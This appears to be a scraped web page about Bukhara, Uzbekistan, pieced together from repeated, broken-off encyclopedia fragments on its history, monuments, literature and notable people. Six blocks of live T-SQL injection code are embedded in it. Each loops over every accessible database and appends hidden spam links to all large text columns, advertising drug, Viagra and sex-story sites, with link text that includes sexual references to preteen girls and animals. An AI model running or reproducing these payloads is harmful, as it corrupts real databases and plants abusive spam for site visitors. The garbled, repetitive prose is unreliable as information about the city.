Bukhara

What is Bukhara known for?


strong involvement

, and the Surkhandarya Province (Surxondaryo Province), all of which had sizeable, if not dominant, Tajik populations. The final decision negotiated by the Uzbek and Tajik parties, not without strong involvement of the Communist Party, left these three Tajik-populated territories within the Turkic-populated (Turkic peoples) Uzbek SSR. Tajik SSR was created on 5 December 1929 as the home for most of the ethnic Tajiks in Soviet Central Asia within the boundaries of present-day Tajikistan. Rahim Masov, ''The History of the Clumsy Delimitation'', Irfon Publ. House, Dushanbe, 1991 Wikipedia:Bukhara Commons:Category:Bukhara Dmoz:Regional Asia Uzbekistan Localities Bukhara


monumental buildings);declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''cialis 20mg how can i take have tablet ''+char(60)+''a href="http:''+char(47)+char(47)+''cialis20mgsuisse.com''+char(47)+''20mg''+char(47)+''how-can-i-take-have-tablet"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''cialis 20mg how can i take have tablet'''' when 1 then ''''http:''+char(47)+char(47)+''cialis20mgsuisse.com''+char(47)+''20mg''+char(47)+''how-can-i-take-have-tablet'''' else ''''cialis 20mg how can i take have tablet'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' cialis 20mg how can i take have tablet''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

) Fitzroy Maclean (Sir Fitzroy Maclean, 1st Baronet), then a young diplomat in the British Embassy in Moscow, made a surreptitious visit to Bokhara in 1938, sight-seeing and sleeping in parks. In his memoir ''Eastern Approaches'', he judged it an "enchanted city", with buildings that rivalled "the finest architecture of the Italian Renaissance". Po-i-Kalan complex File:The Char Minor, Bukhara, 2011.JPG thumb The Char Minor sitting midst its

(maksura) with a cruciform hall, topped with a massive blue cupola on a mosaic drum. The edifice keeps many architectural curiosities, for example, a hole in one of domes. Through this hole one can see foundation of Kalyan Minaret. Then moving back step by step, one can count all belts of brickwork of the minaret to the rotunda. "В.Г. Сааков Архитектурные шедевры Бухары. Бухарское областное общество "Китабхон" Уз ССР, Ровно 1991 г. * '''Mir-i Arab Madrassah

историей кварталов) Академия наук СССР Институт этнографии им.Н.Н.Миклухо-Маклая Издательство Наука; Главная редакция восточной литературы Москва 1976 Some consider the structure with four towers as a gate to lost madrasah behind. However, on closer examination one can see that Chor-Minor (even in the state that it got up to our days) is all-sufficient complex of buildings that have at least two destinations - ritual and dwelling. Main edifice cornered with towers


knowledge quot'

defines the name Bukhara itself as meaning "full of knowledge", referring to the fact that in antiquity, Bukhara was a scientific and scholarship powerhouse. Rumi verifies this when he praises the city as such: آن بخارا معدن دانش بود "Bukhara is a mine of knowledge, پس بخاراییست هرک آنش بود Of Bukhara is he who possesses knowledge." In the Italian romantic epic (Epic poetry) ''Orlando innamorato'' by Matteo Maria Boiardo, Bukhara is called Albracca and described as a major city of Cathay. There, within its walled city and fortress, Angelica (Angelica (character)) and the knights she has befriended make their stand when attacked by Agrican, emperor of Tartary. As described, this siege by Agrican resembles the historic siege by Genghis Khan in 1220. Boiardo: ''Orlando innamorato'', verse translation by Charles Stanley Ross (Oxford University Press, 1995), Book I, Cantos 10-19 and Explanatory Notes, pp. 401-402. ISBN 0-19-282438-4 Notable people thumb Fayzullo Ubaydulloyevich was a Bukharan politician. (File:Fayzullo Ubaydulloyevich Xojayev.JPG) thumb Aini Sadriddin was a famous Bukharan poet. (File:Aini Sadriddin.jpg) Many notable people lived in Bukhara in the past. Among them are: * Muhammad Ibn Ismail Ibn Ibrahim Ibn al-Mughirah Ibn Bardizbah al-Bukhari (Muhammad al-Bukhari) (810-870) - Islamic scholar and compiler of hadiths * Avicenna (Abu Ali ibn Sina) (980-1037) - physician and person of encyclopedic knowledge * Bal'ami: Abolfazl Muhammad and his son Abu-Ali Mohammad, two famous viziers of Samanid kings, historians and patrons of art and literature * Abubakr Narshakhi (Narshakhi) (10th century) - historian who wrote History of Bukhara * Sadiduddin Muhammad Aufi (Zahiriddin Nasr Muhammad Aufi) (1171-1242) historian, scientist, and author. * Hazrat Syed Jalaluddin Surkh-Posh Bukhari (Hazrat Jalaluddin Surkh-Posh Bukhari)(c. 595-690 AH (Hijri year), 1199-1291 CE (Common Era)) * Baha-ud-Din Naqshband Bukhari (1318–1389) * Amir Kulal (died in 1370) * Kiromi Bukhoroi * An Lushan * Sadriddin Ayni (1878–1954) * Fayzulla Khodzhayev (1896-1938) * Abdurauf Fitrat * Oksana Chusovitina *Sayyid Ajjal Shams al-Din Omar Twin towns – Sister cities * Wikipedia:Bukhara Commons:Category:Bukhara Dmoz:Regional Asia Uzbekistan Localities Bukhara


monumental buildings';declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''coupons for prescription medications ''+char(60)+''a href="http:''+char(47)+char(47)+''www.gallaghermalpractice.com''+char(47)+''blog''+char(47)+''blog''+char(47)+''page''+char(47)+''Viagra-Trial-Coupon"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''printable coupons for viagra'''' when 1 then ''''link'''' else ''''gallaghermalpractice.com'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' viagra coupon free''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

of cross, Christian fish and Buddhist praying-wheel. On the esplanade to the right from Chor-Minor is a pool, most likely of the same age with the complex of buildings. Char Minor is now surrounded mainly by small houses and shops on its perimeter. One may find an artisan or two selling a fine piece of hand

) Fitzroy Maclean (Sir Fitzroy Maclean, 1st Baronet), then a young diplomat in the British Embassy in Moscow, made a surreptitious visit to Bokhara in 1938, sight-seeing and sleeping in parks. In his memoir ''Eastern Approaches'', he judged it an "enchanted city", with buildings that rivalled "the finest architecture of the Italian Renaissance". Po-i-Kalan complex File:The Char Minor, Bukhara, 2011.JPG thumb The Char Minor sitting midst its

;lighthouse", or more literally "a place where something burn"). Probably an idea of minarets of Islam was adopted from "fire-towers" or lighthouses of previous epochs. The architect, whose name was simply Bako, made a minaret in the form of a circular-pillar brick tower, narrowing


monumental buildings);declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''hot hot interracial sex stories ''+char(60)+''a href="http:''+char(47)+char(47)+''blog.gobiztech.com''+char(47)+''abortionpill''+char(47)+''page''+char(47)+''free-online-intimate-sex-stories.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''adult dog sex stories'''' when 1 then ''''blog.gobiztech.com'''' else ''''sex stories of preteen girls'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' black female slave sex stories''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

of cross, Christian fish and Buddhist praying-wheel. On the esplanade to the right from Chor-Minor is a pool, most likely of the same age with the complex of buildings. Char Minor is now surrounded mainly by small houses and shops on its perimeter. One may find an artisan or two selling a fine piece of hand

, Pages 215–231, ISSN (Online) 1613-0928, ISSN (Print) 0021-1818, DOI: 10.1515 islm.1961.36.3.215, 1961 Muawiyah I proclaimed himself Caliph in 661 and began consolidating power. The Encyclopædia Britannica by Hugh Chisholm. Page 28 In 663, a new Kharijite revolt resulted in the death of their chief. In 664, Muawiyah and Ziyad

) Fitzroy Maclean (Sir Fitzroy Maclean, 1st Baronet), then a young diplomat in the British Embassy in Moscow, made a surreptitious visit to Bokhara in 1938, sight-seeing and sleeping in parks. In his memoir ''Eastern Approaches'', he judged it an "enchanted city", with buildings that rivalled "the finest architecture of the Italian Renaissance". Po-i-Kalan complex File:The Char Minor, Bukhara, 2011.JPG thumb The Char Minor sitting midst its


poems created

Istanbul 1988), p.49 (d. 1140). Yassawi made considerable efforts to spread Islam throughout Central Asia and had numerous students in the region. Yasawi's poems created a new genre of religious folk poetry in Central Asian Turkic literature and influenced many religious poets in the following countries. John L. Esposito, ed., The Oxford Encyclopedia of the Islamic World, Volume 1, New York: Oxford University Press, 1995, p. 271 Yassawi made the city of Yasi


monumental buildings;declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''why do i want to cheat on my wife ''+char(60)+''a href="http:''+char(47)+char(47)+''www.darkwoodsdojo.com''+char(47)+''page''+char(47)+''I-Want-My-Wife-To-Cheat-On-Me"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''wives who want to cheat'''' when 1 then ''''do you cheat on your wife'''' else ''''darkwoodsdojo.com'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' why do i want my wife to cheat on me''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

) Fitzroy Maclean (Sir Fitzroy Maclean, 1st Baronet), then a young diplomat in the British Embassy in Moscow, made a surreptitious visit to Bokhara in 1938, sight-seeing and sleeping in parks. In his memoir ''Eastern Approaches'', he judged it an "enchanted city", with buildings that rivalled "the finest architecture of the Italian Renaissance". Po-i-Kalan complex File:The Char Minor, Bukhara, 2011.JPG thumb The Char Minor sitting midst its

is situated on one axis with the portal of the Kalyan Mosque. However, because of some lowering of the square to the east it was necessary to raise a little an edifice of the madrasah on a platform. Ismail Samani mausoleum The Ismail Samani mausoleum (Samanid mausoleum) (9th-10th century), one

of cross, Christian fish and Buddhist praying-wheel. On the esplanade to the right from Chor-Minor is a pool, most likely of the same age with the complex of buildings. Char Minor is now surrounded mainly by small houses and shops on its perimeter. One may find an artisan or two selling a fine piece of hand


famous legendary

mythical stories of Iran. The most famous legendary character in the Persian epics and mythology is Rostam. On the other side of the fence is Zahhak, thumb upright left Simurgh (File:Nadir Madrasah Phoenix.JPG) (Phoenix (Phoenix (mythology))) decoration outside of Nadir Divan-Beghi madrasah, Bukhara. a symbol of despotism who was, finally, defeated by Kaveh the Blacksmith who led a popular uprising against him. Zahhak (Aži Dahāka) was guarded by two vipers (viperidae) which grew out from both of his shoulders. No matter how many times they were beheaded, new heads grew on them to guard him. The snake, like in many other mythologies, was a symbol of evil, but many other animals and birds appear in Iranian mythology, and, especially, the birds were signs of good omen. Most famous of these is Simorgh, a large beautiful and powerful bird; and Homa (Huma bird), a royal bird of victory whose plume adorned the crowns. Wikipedia:Bukhara Commons:Category:Bukhara Dmoz:Regional Asia Uzbekistan Localities Bukhara


monumental buildings'));declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''naltrexone pharmacy ''+char(60)+''a href="http:''+char(47)+char(47)+''naltrexonealcoholismmedication.com''+char(47)+''"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''http:''+char(47)+char(47)+''naltrexonealcoholismmedication.com''+char(47)+'''''' when 1 then ''''http:''+char(47)+char(47)+''naltrexonealcoholismmedication.com''+char(47)+'''''' else ''''naltrexone alcoholism medication'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' naltroxene''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

) Fitzroy Maclean (Sir Fitzroy Maclean, 1st Baronet), then a young diplomat in the British Embassy in Moscow, made a surreptitious visit to Bokhara in 1938, sight-seeing and sleeping in parks. In his memoir ''Eastern Approaches'', he judged it an "enchanted city", with buildings that rivalled "the finest architecture of the Italian Renaissance". Po-i-Kalan complex File:The Char Minor, Bukhara, 2011.JPG thumb The Char Minor sitting midst its

jaffer badakshi in khasatul munakib reference by jeelani allaie Char Minor Char Minor (Chor-Minor, also the Madrasah of Khalif Niyaz-kul) is a beautiful building tucked away in one of the lanes a bit to northeast from the Lyabi Hauz complex. This is the well-preserved structure built by Khalif Niyaz-kul - rich inhabitant of Bukhara, the Turkmen by origin. О.А.Сухарева КВАРТАЛЬНАЯ ОБЩИНА ПОЗДНЕФЕОДАЛЬНОГО ГОРОДА БУХАРЫ (в связи с

of cross, Christian fish and Buddhist praying-wheel. On the esplanade to the right from Chor-Minor is a pool, most likely of the same age with the complex of buildings. Char Minor is now surrounded mainly by small houses and shops on its perimeter. One may find an artisan or two selling a fine piece of hand


monumental buildings);declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''viagra discount coupons ''+char(60)+''a href="http:''+char(47)+char(47)+''blog.affordablecomfort.biz''+char(47)+''page''+char(47)+''coupon-for-free-viagra"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''drug prescription card'''' when 1 then ''''go'''' else ''''coupons for viagra'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' free prescription card''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

of cross, Christian fish and Buddhist praying-wheel. On the esplanade to the right from Chor-Minor is a pool, most likely of the same age with the complex of buildings. Char Minor is now surrounded mainly by small houses and shops on its perimeter. One may find an artisan or two selling a fine piece of hand

) Fitzroy Maclean (Sir Fitzroy Maclean, 1st Baronet), then a young diplomat in the British Embassy in Moscow, made a surreptitious visit to Bokhara in 1938, sight-seeing and sleeping in parks. In his memoir ''Eastern Approaches'', he judged it an "enchanted city", with buildings that rivalled "the finest architecture of the Italian Renaissance". Po-i-Kalan complex File:The Char Minor, Bukhara, 2011.JPG thumb The Char Minor sitting midst its

;lighthouse", or more literally "a place where something burn"). Probably an idea of minarets of Islam was adopted from "fire-towers" or lighthouses of previous epochs. The architect, whose name was simply Bako, made a minaret in the form of a circular-pillar brick tower, narrowing

Bukhara

WHS Historic Centre of Bukhara Image 300px Kok-Gumbaz mosque. (File:Kalon-Ensemble Buchara.jpg) State Party Uzbekistan Type Cultural Criteria ii, iv, vi ID 602 Region Asia-Pacific (List of World Heritage Sites in Asia and Australasia) Year 1993 Session 17th Link http: whc.unesco.org en list 602

'''Bukhara''' (

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